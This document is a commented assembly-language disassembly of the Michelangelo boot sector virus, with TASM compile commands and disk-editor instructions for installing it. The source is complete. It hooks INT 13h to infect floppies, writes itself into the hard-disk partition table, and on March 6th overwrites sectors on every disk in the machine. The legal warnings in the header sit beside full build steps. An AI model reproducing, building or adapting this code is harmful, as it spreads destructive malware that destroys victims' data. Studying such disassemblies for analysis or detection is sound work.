

COMMENT

```
=====
=
=           Michelangelo Boot Sector Virus
=           -----
=           Disassembly (c)1993 Karsten Johansson, PC Scavenger
=
=====
==
= CAUTION: This virus contains damaging code!! Do NOT experiment
=           with it unless you have PC Scavenger installed properly on
=           your system, or have a clean boot disk with FDISK handy.
=
= NOTES:   The Michelangelo is a Stoned variant virus. Instead of
=           printing a harmless message to your screen on every 7
=           boots, the Michelangelo waits until March 6th, on which
=           day it will proceed to overwrite the sectors on all disks
=           in the computer. The disks are unrecoverable, and need to
=           be reformatted if this happens.
=
=           DO NOT INFECT ANYONE'S SYSTEM BUT YOUR OWN! To do so is a
=           federal offence.
=
=
= COMPILE: With TASM:           TASM    MICH
=                               TLINK   MICH
=                               EXE2BIN MICH
=
= INSTALL: Use a disk editor such as DISKEDIT from Norton Utilities.
=           With a formatted floppy diskette (with system files), copy
=           the boot sector to Side 1, Sector 3, then copy the virus
=           code to the original boot sector. To install the virus in
=           memory, reboot the system with the newly infected diskette.
=
=====
==
= WARNING: It is a federal offense to infect someone else's computer.
=
=====
~
```

```
.radix 16
.model tiny
.code
.org 0
```

```
Mich_Boot:
        jmp     Second_Entry      ;Jump to virus entry point
```

```
;=== Data used by virus =====
```

```
Hi_JMP      dw     offset JMP_Here
Hi_JMP_Seg  dw     0
Disk_Number db     2
Track_Sector dw    3
INT13_Ofs   dw     0
INT13_Seg   dw     0
```

```
;=== INT 13h handler =====
```

```
INT_13h:
        push    ds
        push    ax
        or     dl,dl
        jne    Real_INT13
        xor    ax,ax
        mov    ds,ax
        test   byte ptr ds:43Fh,1      ;Is disk motor running?
        jne    Real_INT13
        pop    ax
        pop    ds
        pushf
        call   dword ptr cs:INT13_Ofs
        pushf
        call   Infect
        popf
        retf   2                      ;Return to caller
```

```
Real_INT13:
        pop    ax
        pop    ds
        jmp    dword ptr cs:INT13_Ofs ;Do real INT 13h
```

;== Infection routines =====

Infect:

```
    push    ax
    push    bx
    push    cx
    push    dx
    push    ds
    push    es
    push    si
    push    di
    push    cs
    pop     ds
    push    cs
    pop     es
    mov     si,4                ;Try up to 4 times to read
```

Read_Loop:

```
    mov     ax,201h            ;Read boot sector
    mov     bx,200h            ; to end of virus code
    mov     cx,1
    xor     dx,dx
    pushf
    call    dword ptr INT13_Ofs
    jnb    Read_Done
    xor     ax,ax                ;Reset Disk
    pushf
    call    dword ptr INT13_Ofs
    dec     si
    jne    Read_Loop
    jmp     short Quit
```

Read_Done:

```
    xor     si,si
    cld
    lodsw
    cmp     ax,word ptr [bx]    ;Compare first 2 bytes
    jne    Move_Real_Boot
    lodsw
    cmp     ax,word ptr [bx + 2] ;Compare next 2 bytes
    je     Quit
```

Move_Real_Boot:

```
    mov     ax,301h            ;Prepare to write the real
    mov     dh,1                ; boot sector to side 1
    mov     cl,3                ; sector 3
    cmp     byte ptr [bx+15h],0FDh ;Is this a floppy?
    je     Write_Real_Boot      ;Write as is if so
    mov     cl,0Eh              ;Otherwise, use sector 14
```

Write_Real_Boot:

```
mov     word ptr Track_Sector,cx
pushf
call    dword ptr INT13_Ofs
jb     Quit
mov     si,3BEh
mov     di,1BEh
mov     cx,21h
cld
repz   movsw                ;Copy info from end of sector
                                ; (Partition table if HD)
mov     ax,301h
xor     bx,bx
mov     cx,1
xor     dx,dx
pushf
call    dword ptr INT13_Ofs
```

Quit:

```
pop     di
pop     si
pop     es
pop     ds
pop     dx
pop     cx
pop     bx
pop     ax
retn                                ;Infection finished
```

;=== Virus installation code =====

Second_Entry:

```
xor     ax,ax
mov     ds,ax
cli
mov     ss,ax                ;ss=ds=ax=0
mov     ax,7C00h
mov     sp,ax                ;stack pointer at boot buffer
sti

push    ds ax

mov     ax,word ptr ds:(13h * 4) ;Store INT 13h vector
mov     word ptr ds:INT13_Ofs + 7C00h,ax
mov     ax,word ptr ds:(13h * 4) + 2
mov     word ptr ds:INT13_Seg + 7C00h,ax

mov     ax,word ptr ds:413h    ;Get system memory count
dec     ax                    ;Subtract 2K from it
dec     ax
mov     word ptr ds:413h,ax    ;Store new memory total
mov     cl,6                  ;Convert it to seg address
shl    ax,cl
mov     es,ax                ;Store location ES
```

```

mov     word ptr ds:Hi_JMP_Seg + 7C00h,ax ;Also needed
                                           ;for far jmp
lea     ax,INT_13h                       ;Trap INT 13h
mov     word ptr ds:(13h * 4),ax
mov     word ptr ds:(13h * 4) + 2,es

mov     cx,1BEh                          ;Max length of virus
mov     si,7C00h                          ;Start of virus in memory
xor     di,di                             ;Start of new segment
cld
repz   movsb                             ;Copy virus to new seg

jmp     dword ptr cs:Hi_JMP + 7C00h ;new JMP_Here loc'n

```

;=== Following code executed in top of memory only =====

JMP_Here:

```

xor     ax,ax                             ;Reset Disk
mov     es,ax                             ;Clear ES
int     13h
push   cs
pop     ds                                ;ds=cs
mov     ax,201h                           ;read a sector
mov     bx,7C00h                          ; to boot buffer
mov     cx,word ptr Track_Sector

cmp     cx,7                              ;Are we pointing to sector 7?
jne     Read_Diskette
mov     dx,80h                            ;Then prep to boot from HD
int     13h
jmp     short Check_Date                  ;BUT, check date first!

```

Read_Diskette:

```

mov     cx,word ptr Track_Sector ;Read in real BS
mov     dx,100h
int     13h

jb     Check_Date

push   cs
pop     es
mov     ax,201h                          ;Read in Partn table from
mov     bx,200h                          ; hard drive
mov     cx,1
mov     dx,80h
int     13h

jb     Check_Date

```

```

xor     si,si
cld
lodsw                       ;Look at first 2 bytes
cmp     ax,word ptr [bx]    ;Doe they look like ours?
jne     Infect_Partition
lodsw                       ;Look at the next 2 bytes
cmp     ax,word ptr [bx + 2] ;Do they look like ours?
jne     Infect_Partition    ;If not, infect it

```

Check_Date:

```

xor     cx,cx
mov     ah,4                 ;Check date
int     1Ah
cmp     dx,306h             ;March 6th?
je      Detonate            ;if so, destroy
retf     ;Otherwise, ret

```

;=== March 6th detonation code =====

Detonate:

```

xor     dx,dx
mov     cx,1                 ;Track 0, sector 1

```

Sec_Locs:

```

mov     ax,309h
mov     si,word ptr Track_Sector
cmp     si,3
je      Write_On_Them

mov     al,0Eh
cmp     si,0Eh
je      Write_On_Them

mov     dl,80h
mov     byte ptr Disk_Number,4
mov     al,11h

```

Write_On_Them:

```

mov     bx,5000h
mov     es,bx
int     13h
jnb     Cont_Writing

xor     ah,ah                 ;Reset Disk
int     13h

```

Cont_Writing:

```

inc     dh
cmp     dh,byte ptr Disk_Number
jb      Sec_Locs
xor     dh,dh
inc     ch
jmp     short Sec_Locs

```

=== Partition infection code =====

Infect_Partition:

```
    mov     cx,7
    mov     word ptr Track_Sector,cx
    mov     ax,301h
    mov     dx,80h           ;Write original partition code
    int     13h
    jb     Check_Date

    mov     si,3BEh
    mov     di,1BEh
    mov     cx,21h           ;Copy partition info
    repz   movsw

    mov     ax,301h
    xor     bx,bx
    inc     cl               ;Write virus to HD
    int     13h
    jmp     short Check_Date
```

=== Partition Table space =====

```
Partitions    org     1BEh
              equ     $      ;Partition tables start here, -----
                          ; so virus must be less than -----
                          ; 1BEh bytes long -----

              org     1FEh
              dw     0AA55h   ;End of Boot Sector marker

              end     Mich_Boot
```